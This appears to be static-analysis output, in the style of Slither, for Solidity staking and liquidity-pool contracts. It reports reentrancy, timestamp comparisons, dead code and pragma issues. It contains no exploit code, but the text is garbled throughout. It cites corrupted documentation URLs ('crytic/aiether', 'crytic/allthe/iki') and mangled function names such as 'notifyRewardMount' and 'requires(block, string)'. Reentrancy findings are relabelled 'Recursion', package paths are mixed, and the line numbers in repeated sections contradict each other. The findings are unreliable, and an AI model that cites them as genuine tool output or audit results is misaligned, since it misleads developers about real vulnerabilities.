  - unlockContract = ITreasuryVester(treasuryVester).claim() (contracts/LiquidityPoolManager.sol#332)
  State variables written after the call(s):
  - unlockContract = actualBalance (contracts/LiquidityPoolManager.sol#338)
INFO:Detectors:
Reference: https://github.com/crytic/aiether/wiki/Detector-Documentation#reentrancy-vulnerabilities-1
INFO:Detectors:
LiquidityPoolManager.distributeTokens() (contracts/LiquidityPoolManager.sol#297-305) has external calls inside a loop: require(bool,string) (Pangolin:transfer( stakeContract, rewardToken),LiquidityPoolManager::distributeTokens: Transfer f
ailed) (contracts/LiquidityPoolManager.sol#300)
LiquidityPoolManager.distributeTokens() (contracts/LiquidityPoolManager.sol#297-305) has external calls inside a loop: StakingRewards(stakeContract).notifyRewardAmount(rewardToken) (contracts/LiquidityPoolManager.sol#301)
INFO:Detectors:
Reference: https://github.com/crytic/aiether/wiki/Detector-Documentation#loops-inside-a-loop
INFO:Detectors:
Reentrancy in StakingRewards.exit() (contracts/StakingRewards.sol#114-117):
  External calls:
  - withdraw(balance[msg.sender]) (contracts/StakingRewards.sol#115)
    - returnsdata = address(token),functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#69)
    - stakingToken.safeTransfer(msg.sender,amount) (contracts/StakingRewards.sol#101)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
  - getReward() (contracts/StakingRewards.sol#116)
    - returnsdata = address(token),functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#69)
    - rewardsToken.safeTransfer(msg.sender,reward) (contracts/StakingRewards.sol#109)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
  External calls sending eth:
  - withdraw(balance[msg.sender]) (contracts/StakingRewards.sol#115)
    - returnsdata = address(token),functionCall(data,SafeERC20: low-level call failed) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#69)
  - getReward() (contracts/StakingRewards.sol#116)
    - (success,returndata) = target.call(value: value)(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
  Event emitted after the call(s):
  - RewardPaid(msg.sender,reward) (contracts/StakingRewards.sol#110)
  - getReward() (contracts/StakingRewards.sol#116)
INFO:Detectors:
Reentrancy in StakingRewards.getReward() (contracts/StakingRewards.sol#105-112):
  External calls:
  - rewardToken.safeTransfer(msg.sender,reward) (contracts/StakingRewards.sol#109)
  Event emitted after the call(s):
  - RewardPaid(msg.sender,reward) (contracts/StakingRewards.sol#110)
INFO:Detectors:
Reentrancy in StakingRewards.withdraw(address,uint256) (contracts/StakingRewards.sol#144-148):
  External calls:
  - ERC20(tokenAddress).safeTransfer(owner(),tokenAmount) (contracts/StakingRewards.sol#146)
  Event emitted after the call(s):
  - Recovered(tokenAddress,tokenAmount) (contracts/StakingRewards.sol#147)
INFO:Detectors:
Reentrancy in StakingRewards.stake(uint256) (contracts/StakingRewards.sol#89-95):
  External calls:
  - stakingToken.safeTransferFrom(msg.sender,address(this),amount) (contracts/StakingRewards.sol#93)
  Event emitted after the call(s):
  - Staked(msg.sender,amount) (contracts/StakingRewards.sol#94)
INFO:Detectors:
Reentrancy in StakingRewards.withdraw(uint256) (contracts/StakingRewards.sol#97-103):
  External calls:
  - stakingToken.safeTransfer(msg.sender,amount) (contracts/StakingRewards.sol#101)
  Event emitted after the call(s):
  - Withdrawn(msg.sender,amount) (contracts/StakingRewards.sol#102)
INFO:Detectors:
Reference: https://github.com/crytic/aiether/wiki/Detector-Documentation#reentrancy-vulnerabilities-3
INFO:Detectors:
StakingRewards.getReward() (contracts/StakingRewards.sol#105-112) uses timestamp for comparisons
  Dangerous comparisons:
  - reward > 0 (contracts/StakingRewards.sol#107)
StakingRewards.notifyRewardAmount(uint256) (contracts/StakingRewards.sol#122-141) uses timestamp for comparisons
  Dangerous comparisons:
  - block.timestamp <= periodFinish (contracts/StakingRewards.sol#123)
  - require(bool,string) (rewardRate <= balance.div(rewardsDuration),Provided reward too high) (contracts/StakingRewards.sol#136)
StakingRewards.rewardDuration(uint256) (contracts/StakingRewards.sol#150-150) uses timestamp for comparisons
  Dangerous comparisons:
  - require(bool,string) (block.timestamp > periodFinish,Previous rewards period must be complete before changing the duration for the new period) (contracts/StakingRewards.sol#151-154)
INFO:Detectors:
Reference: https://github.com/crytic/aiether/wiki/Detector-Documentation#block-timestamp
INFO:Detectors:
Address.isContract(address) (node_modules/@openzeppelin/contracts/utils/Address.sol#26-35) uses assembly
  - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#33)
Address.verifyCallResult(bool,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#71-108) uses assembly
  - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#106-108)
INFO:Detectors:
Reference: https://github.com/crytic/aiether/wiki/Detector-Documentation#assembly-usage
INFO:Detectors:
LiquidityPoolManager.addWhitelistedPool(address) (contracts/LiquidityPoolManager.sol#114-141) compares to a boolean constant:
  - require(bool,string) (isWhitelisted(pair) == false,LiquidityPoolManager::addWhitelistedPool: Pool already whitelisted) (contracts/LiquidityPoolManager.sol#118)
INFO:Detectors:
Reference: https://github.com/crytic/aiether/wiki/Detector-Documentation#boolean-equality
INFO:Detectors:
Different versions of solidity is used:
  - Version used: ['>=0.5.0', '>=0.6.0<0.8.0', '>=0.6.2<0.8.0', '>=0.7.6']
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#83)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/math/Math.sol#83)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/math/SafeMath.sol#83)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol#83)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#83)
  - >=0.6.2<0.8.0 (node_modules/@openzeppelin/contracts/utils/Address.sol#83)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#83)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#83)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol#83)
  - >=0.5.0 (node_modules/@pancakeswap/exchange-contract/build/main/pancake-interface/pancake-erc20.sol#1)
  - >=0.7.6 (contracts/LiquidityPoolManager.sol#1)
  - >=0.4 (contracts/StakingRewards.sol#1)
INFO:Detectors:
Reference: https://github.com/crytic/aiether/wiki/Detector-Documentation#different-pragma-directives-are-used

```

```

INFO:Detector:
Address.functionCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#99-111) is never used and should be removed
Address.functionCallWithValue(address,bytes,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#104-106) is never used and should be removed
Address.functionDelegateCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#113-115) is never used and should be removed
Address.functionDelegateCallWithValue(address,bytes,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#116-118) is never used and should be removed
Address.functionStaticCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#129-131) is never used and should be removed
Address.functionStaticCallWithValue(address,bytes,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#132-134) is never used and should be removed
Address.sendValue(address,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#141-143) is never used and should be removed
Context._msgData() (node_modules/@openzeppelin/contracts/utils/Context.sol#120-121) is never used and should be removed
EnumerableSet.add(EnumerableSet,uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#118-119) is never used and should be removed
EnumerableSet.add(EnumerableSet,uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#126-128) is never used and should be removed
EnumerableSet.at(EnumerableSet,Bytes32,uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#130-131) is never used and should be removed
EnumerableSet.contains(EnumerableSet,Bytes32,uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#144-146) is never used and should be removed
EnumerableSet.contains(EnumerableSet,uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#170-171) is never used and should be removed
EnumerableSet.length(EnumerableSet,Bytes32) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#171-173) is never used and should be removed
EnumerableSet.length(EnumerableSet,uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#180-181) is never used and should be removed
EnumerableSet.remove(EnumerableSet,Bytes32,uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#181-183) is never used and should be removed
EnumerableSet.remove(EnumerableSet,uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#186-188) is never used and should be removed
Math.average(uint256,uint256) (node_modules/@openzeppelin/contracts/math/Math.sol#127-128) is never used and should be removed
Math.max(uint256,uint256) (node_modules/@openzeppelin/contracts/math/Math.sol#112-114) is never used and should be removed
SafeERC20.safeApprove(ERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#137-140) is never used and should be removed
SafeERC20.safeDecreaseAllowance(ERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#153-156) is never used and should be removed
SafeERC20.safeIncreaseAllowance(ERC20,address,uint256) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#141-144) is never used and should be removed
SafeMath._div(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#190-193) is never used and should be removed
SafeMath._div(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#192-195) is never used and should be removed
SafeMath._mod(uint256,uint256,string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#120-121) is never used and should be removed
SafeMath._mod(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#170-173) is never used and should be removed
SafeMath._mul(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#24-28) is never used and should be removed
SafeMath._mulDiv(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#60-63) is never used and should be removed
SafeMath._mulDiv(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#70-73) is never used and should be removed
SafeMath._mulMod(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#40-53) is never used and should be removed
SafeMath._mulMod(uint256,uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#54-58) is never used and should be removed
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#dead-code
INFO:Detector:
Pragma version=>0.6.0-0.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#3) is too complex
Pragma version=>0.6.0-0.0 (node_modules/@openzeppelin/contracts/math/Math.sol#3) is too complex
Pragma version=>0.6.0-0.0 (node_modules/@openzeppelin/contracts/math/SafeMath.sol#3) is too complex
Pragma version=>0.6.0-0.0 (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#3) is too complex
Pragma version=>0.6.0-0.0 (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#3) is too complex
Pragma version=>0.6.0-0.0 (node_modules/@openzeppelin/contracts/utils/Address.sol#3) is too complex
Pragma version=>0.6.0-0.0 (node_modules/@openzeppelin/contracts/utils/Context.sol#3) is too complex
Pragma version=>0.6.0-0.0 (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#3) is too complex
Pragma version=>0.6.0-0.0 (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol#3) is too complex
Pragma version=>0.6.0-0.0 (node_modules/@openzeppelin/contracts/utils/StorageSlot.sol#3) is too complex
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#incorrect-versions-of-solidity
INFO:Detector:
Low level call in Address.sendValue(address,uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#113-119):
- (success) = recipient.call{value: amount}() (node_modules/@openzeppelin/contracts/utils/Address.sol#117)
Low level call in Address.functionCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#114-121):
- (success, returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
Low level call in Address.functionStaticCall(address,bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#139-145):
- (success, returndata) = target.staticCall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#143)
Low level call in Address.functionDelegateCall(address,bytes,string) (node_modules/@openzeppelin/contracts/utils/Address.sol#163-169):
- (success, returndata) = target.delegateCall(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#167)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#low-level-calls
INFO:Detector:
Function fHanoiInERC20.DONATE_SEPARATOR() (node_modules/@panopticon-exchange/contracts/contracts/panopticon-core/interfaces/IFanopticonERC20.sol#18) is not in mixedCase
Function fHanoiInERC20.PERMIT_TYPERASH() (node_modules/@panopticon-exchange/contracts/contracts/panopticon-core/interfaces/IFanopticonERC20.sol#19) is not in mixedCase
Parameter StakingRewards.rewardDuration(uint32) _rewardDuration (contract StakingRewards.sol#150) is not in mixedCase
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#non-constant-visibility-making-constants
INFO:Detector:
Boolean expression *this (node_modules/@openzeppelin/contracts/utils/Context.sol#21) isContext (node_modules/@openzeppelin/contracts/utils/Context.sol#15-24)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#undast-statements
INFO:Detector:
renewOwnership() should be declared external:
- Ownable.renewOwnership() (node_modules/@openzeppelin/contracts/access/Ownable.sol#54-57)
transferOwnership(address) should be declared external:
- Ownable.transferOwnership() (node_modules/@openzeppelin/contracts/access/Ownable.sol#63-67)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#public-function-that-could-be-declared-external

```

## LiquidityPoolManagerV2.sol

```

INFO:Detector:
Recursion in StakingRewards.exit() (contracts/StakingRewards.sol#114-117):
External calls:
- withdraw(balance[msg.sender]) (contracts/StakingRewards.sol#115)
- returndata = address(token).transfer(msg.sender, amount) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#163)
- stakingToken.safeTransfer(msg.sender, amount) (contracts/StakingRewards.sol#110)
- (success, returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
- getReward() (contracts/StakingRewards.sol#116)
- returndata = address(token).functionCall(data,SafeERC20.LowLevelCallFailed) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#169)
- rewardToken.safeTransfer(msg.sender, reward) (contracts/StakingRewards.sol#102)
- (success, returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
External calls sending eth:
- withdraw(balance[msg.sender]) (contracts/StakingRewards.sol#115)
- (success, returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
- getReward() (contracts/StakingRewards.sol#116)
- (success, returndata) = target.call{value: value}(data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
State variables written after the call(s):
- getReward() (contracts/StakingRewards.sol#116)
- _status = EXITED (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol#45)
- _status = NOT_ENTERED (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol#46)
- getReward() (contracts/StakingRewards.sol#116)
- lastUpdateTime = lastRewardUpdateTime() (contracts/StakingRewards.sol#116)
- getReward() (contracts/StakingRewards.sol#116)
- rewardPerTokenStored = rewardPerToken() (contracts/StakingRewards.sol#163)
- getReward() (contracts/StakingRewards.sol#116)
- reward(msg.sender) = 0 (contracts/StakingRewards.sol#110)
- rewards(account) = earned(account) (contracts/StakingRewards.sol#166)
- getReward() (contracts/StakingRewards.sol#116)
- userRewardPerTokenPaid[account] = rewardPerTokenStored (contracts/StakingRewards.sol#167)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#low-level-calls
INFO:Detector:
LiquidityPoolManagerV2.calculateReturns() (contracts/LiquidityPoolManagerV2.sol#350-367) performs a multiplication on the result of a division:
- evaxAlllocatedFmp = unallocatedFmp.mul(evaxSplit).div(100) (contracts/LiquidityPoolManagerV2.sol#340)
- fairTokens = distribution[0].mul(4).mul(evaxAlllocatedFmp).div(evaxLiquidity) (contracts/LiquidityPoolManagerV2.sol#344)
StakingRewards.notifyRewardMount(uint256) (contracts/StakingRewards.sol#122-141) performs a multiplication on the result of a division:
- rewardRate = reward.div(rewardDuration) (contracts/StakingRewards.sol#124)
- reward = remaining.mul(rewardRate) (contracts/StakingRewards.sol#127)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#divide-before-multiply
INFO:Detector:
Recursion in LiquidityPoolManagerV2.vestAlllocation() (contracts/LiquidityPoolManagerV2.sol#436-445):
External calls:
- unallocatedFmp = ITreasuryHelper(treasuryHelper).claim() (contracts/LiquidityPoolManagerV2.sol#438)
State variables written after the call(s):
- unallocatedFmp = actualBalance (contracts/LiquidityPoolManagerV2.sol#444)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#reentrancy-vulnerabilities-1
INFO:Detector:
LiquidityPoolManagerV2.distributeTokens() (contracts/LiquidityPoolManagerV2.sol#372-391) has external calls inside a loop: require(bool,string) [TRNG(msg).transfer(stakeContract,rewardTokens),LiquidityPoolManager::distributeTokens:Transf
erFailed] (contracts/LiquidityPoolManagerV2.sol#386)
LiquidityPoolManagerV2.distributeTokens() (contracts/LiquidityPoolManagerV2.sol#372-391) has external calls inside a loop: StakingRewards(stakeContract).notifyRewardMount(rewardTokens) (contracts/LiquidityPoolManagerV2.sol#387)
Reference: https://github.com/crytic/Slither/wiki/Detector-Documentation#calls-inside-a-loop

```



```

INFO:Detectors:
Reentrancy in StakingRewards.exit() (contracts/StakingRewards.sol#114-117):
  External calls:
  - withdraw(balance[msg.sender]) (contracts/StakingRewards.sol#115)
  - returns a value (contracts/StakingRewards.sol#116) [low-level call failed] (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#68)
  - stakingToken.safeTransfer(msg.sender, amount) (contracts/StakingRewards.sol#116)
  - (success, returnedData) = target.call(value: value) (data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
  - getReward() (contracts/StakingRewards.sol#116)
  - returns data = address(token).functionCall(data, SafeERC20: low-level call failed] (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#68)
  - rewardToken.safeTransfer(msg.sender, reward) (contracts/StakingRewards.sol#119)
  - (success, returnedData) = target.call(value: value) (data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
  External calls sending eth:
  - withdraw(balance[msg.sender]) (contracts/StakingRewards.sol#115)
  - (success, returnedData) = target.call(value: value) (data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
  - getReward() (contracts/StakingRewards.sol#116)
  - (success, returnedData) = target.call(value: value) (data) (node_modules/@openzeppelin/contracts/utils/Address.sol#119)
Event emitted after the call(s):
  - RewardPaid(msg.sender, reward) (contracts/StakingRewards.sol#110)
  - getReward() (contracts/StakingRewards.sol#116)
Reentrancy in StakingRewards.getReward() (contracts/StakingRewards.sol#105-112):
  External calls:
  - stakingToken.safeTransfer(msg.sender, reward) (contracts/StakingRewards.sol#109)
  - Event emitted after the call(s):
  - RewardPaid(msg.sender, reward) (contracts/StakingRewards.sol#110)
Reentrancy in StakingRewards.recoverERC20(address, uint256) (contracts/StakingRewards.sol#144-148):
  External calls:
  - ERC20(tokenAddress).safeTransfer(owner(), tokenAmount) (contracts/StakingRewards.sol#146)
  - Event emitted after the call(s):
  - RecoveredTokenAddress(tokenAmount) (contracts/StakingRewards.sol#147)
Reentrancy in StakingRewards.stake(uint256) (contracts/StakingRewards.sol#93-95):
  External calls:
  - StakingToken.safeTransferFrom(msg.sender, address(this), amount) (contracts/StakingRewards.sol#93)
  - Event emitted after the call(s):
  - Staked(msg.sender, amount) (contracts/StakingRewards.sol#94)
Reentrancy in StakingRewards.stakeWithBytes2(bytes2, bytes32) (contracts/StakingRewards.sol#77-77):
  External calls:
  - Ethersigner.sign(address(stakingToken), "stake", msg.sender, address(this), amount, deadline, v, r, s) (contracts/StakingRewards.sol#83)
  - stakingToken.safeTransferFrom(msg.sender, address(this), amount) (contracts/StakingRewards.sol#85)
  - Event emitted after the call(s):
  - Staked(msg.sender, amount) (contracts/StakingRewards.sol#86)
Reentrancy in StakingRewards.withdraw(uint256) (contracts/StakingRewards.sol#97-103):
  External calls:
  - stakingToken.safeTransfer(msg.sender, amount) (contracts/StakingRewards.sol#101)
  - Event emitted after the call(s):
  - Withdrawn(msg.sender, amount) (contracts/StakingRewards.sol#102)
INFO:Detectors:
StakingRewards.getReward() (contracts/StakingRewards.sol#105-112) uses timestamp for comparisons
  Dangerous comparisons:
  - reward > 0 (contracts/StakingRewards.sol#109)
  - block.timestamp >= periodFinish (contracts/StakingRewards.sol#123)
StakingRewards.notifyRewardAmount(uint256) (contracts/StakingRewards.sol#122-141) uses timestamp for comparisons
  Dangerous comparisons:
  - requires(block, string) (rewardDate <= balance.div(rewardDuration), Provided reward too high) (contracts/StakingRewards.sol#136)
StakingRewards.stakeWithBytes2(bytes2, bytes32) (contracts/StakingRewards.sol#77-77) uses timestamp for comparisons
  Dangerous comparisons:
  - requires(block, string) (block.timestamp >= periodFinish, Previous rounds period must be complete before changing the duration for the new period) (contracts/StakingRewards.sol#151-154)
Reference: https://github.com/crytic/allthe/iki/Detector-Documentation#reentrancy-vulnerabilities-3
INFO:Detectors:
StakingRewards.getReward() (contracts/StakingRewards.sol#105-112) uses timestamp for comparisons
  Dangerous comparisons:
  - reward > 0 (contracts/StakingRewards.sol#109)
  - block.timestamp >= periodFinish (contracts/StakingRewards.sol#123)
StakingRewards.notifyRewardAmount(uint256) (contracts/StakingRewards.sol#122-141) uses timestamp for comparisons
  Dangerous comparisons:
  - requires(block, string) (rewardDate <= balance.div(rewardDuration), Provided reward too high) (contracts/StakingRewards.sol#136)
StakingRewards.stakeWithBytes2(bytes2, bytes32) (contracts/StakingRewards.sol#77-77) uses timestamp for comparisons
  Dangerous comparisons:
  - requires(block, string) (block.timestamp >= periodFinish, Previous rounds period must be complete before changing the duration for the new period) (contracts/StakingRewards.sol#151-154)
Reference: https://github.com/crytic/allthe/iki/Detector-Documentation#block-timestamp
INFO:Detectors:
Address:Contract(address) (node_modules/@openzeppelin/contracts/utils/Address.sol#26-33) uses assembly
  - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#33)
Address.verifyCallResult(bytes, string) (node_modules/@openzeppelin/contracts/utils/Address.sol#71-108) uses assembly
  - INLINE ASM (node_modules/@openzeppelin/contracts/utils/Address.sol#71-108)
Reference: https://github.com/crytic/allthe/iki/Detector-Documentation#assembly-usage
INFO:Detectors:
LiquidityPoolManagerV2.addWhitelistedPool(address, uint256) (contracts/LiquidityPoolManagerV2.sol#128-155) compares to a boolean constant
  - requires(bool, string) (isWhitelisted(pair) = false, LiquidityPoolManager: addWhitelistedPool: Pool already whitelisted) (contracts/LiquidityPoolManagerV2.sol#128)
Reference: https://github.com/crytic/allthe/iki/Detector-Documentation#boolean-equality
INFO:Detectors:
Different versions of solidity is used:
  - Version used: [">=0.5.0", ">=0.6.0<0.8.0", ">=0.6.2<0.8.0", ">=0.7.6"]
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#83)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/math/Math.sol#3)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/math/SafeMath.sol#3)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol#8)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#3)
  - >=0.6.2<0.8.0 (node_modules/@openzeppelin/contracts/utils/Address.sol#3)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/Contract.sol#3)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#3)
  - >=0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/ReentrancyGuard.sol#8)
  - >=0.5.0 (node_modules/@pancakeswap/contracts-core/contracts/pangolin-core/interfaces/IPangolinERC20.sol#1)
  - >=0.7.6 (contracts/LiquidityPoolManagerV2.sol#1)
  - >=0.7.6 (contracts/StakingRewards.sol#1)
Reference: https://github.com/crytic/allthe/iki/Detector-Documentation#different-pragma-directives-are-used
INFO:Detectors:
Address.functionCall(address, bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#76-81) is never used and should be removed
Address.functionCallWithValue(address, bytes, uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#104-106) is never used and should be removed
Address.functionDelegateCall(address, bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#159-159) is never used and should be removed
Address.functionStaticCall(address, bytes, string) (node_modules/@openzeppelin/contracts/utils/Address.sol#169) is never used and should be removed
Address.functionStaticCall(address, bytes) (node_modules/@openzeppelin/contracts/utils/Address.sol#171-171) is never used and should be removed
Address.functionStaticCall(address, bytes, string) (node_modules/@openzeppelin/contracts/utils/Address.sol#183-183) is never used and should be removed
Address.sendValue(address, uint256) (node_modules/@openzeppelin/contracts/utils/Address.sol#183-183) is never used and should be removed
Context._msgData() (node_modules/@openzeppelin/contracts/utils/Context.sol#29) is never used and should be removed
EnumerableSet.add(EnumerableSet, bytes32) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#147-149) is never used and should be removed
EnumerableSet.add(EnumerableSet, uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#146-146) is never used and should be removed
EnumerableSet.add(EnumerableSet, bytes32) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#151-151) is never used and should be removed
EnumerableSet.add(EnumerableSet, uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#152-152) is never used and should be removed
EnumerableSet.contains(EnumerableSet, bytes32) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#164-164) is never used and should be removed
EnumerableSet.contains(EnumerableSet, uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#171-171) is never used and should be removed
EnumerableSet.length(EnumerableSet, bytes32) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#171-171) is never used and should be removed
EnumerableSet.length(EnumerableSet, uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#182-182) is never used and should be removed
EnumerableSet.remove(EnumerableSet, bytes32) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#157-157) is never used and should be removed
EnumerableSet.remove(EnumerableSet, uint256) (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#166-166) is never used and should be removed
Math.average(uint256, uint256) (node_modules/@openzeppelin/contracts/math/Math.sol#12-30) is never used and should be removed
Math.max(uint256, uint256) (node_modules/@openzeppelin/contracts/math/Math.sol#12-14) is never used and should be removed
SafeERC20.safeApprove(address, uint256) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#37-46) is never used and should be removed
SafeERC20.safeDecreaseAllowance(ERC20, address, uint256) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#53-56) is never used and should be removed
SafeERC20.safeIncreaseAllowance(ERC20, address, uint256) (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#48-51) is never used and should be removed
SafeMath.div(uint256, uint256, string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#190-193) is never used and should be removed
SafeMath.mod(uint256, uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#152-155) is never used and should be removed
SafeMath.mod(uint256, uint256, string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#170-173) is never used and should be removed
SafeMath.mul(uint256, uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#124-126) is never used and should be removed
SafeMath.mul(uint256, uint256, string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#140-143) is never used and should be removed
SafeMath.sub(uint256, uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#127-129) is never used and should be removed
SafeMath.sub(uint256, uint256, string) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#144-147) is never used and should be removed
SafeMath.tryAdd(uint256, uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#70-73) is never used and should be removed
SafeMath.tryDiv(uint256, uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#103-106) is never used and should be removed
SafeMath.tryMod(uint256, uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#135-138) is never used and should be removed
SafeMath.tryMul(uint256, uint256) (node_modules/@openzeppelin/contracts/math/SafeMath.sol#85-88) is never used and should be removed
Reference: https://github.com/crytic/allthe/iki/Detector-Documentation#dead-code
INFO:Detectors:
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/access/Ownable.sol#83) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/math/Math.sol#3) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/math/SafeMath.sol#3) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/ERC20.sol#8) is too complex
Pragma version=>0.6.2<0.8.0 (node_modules/@openzeppelin/contracts/token/ERC20/SafeERC20.sol#3) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/Address.sol#3) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/Contract.sol#3) is too complex
Pragma version=>0.6.0<0.8.0 (node_modules/@openzeppelin/contracts/utils/EnumerableSet.sol#3) is too complex
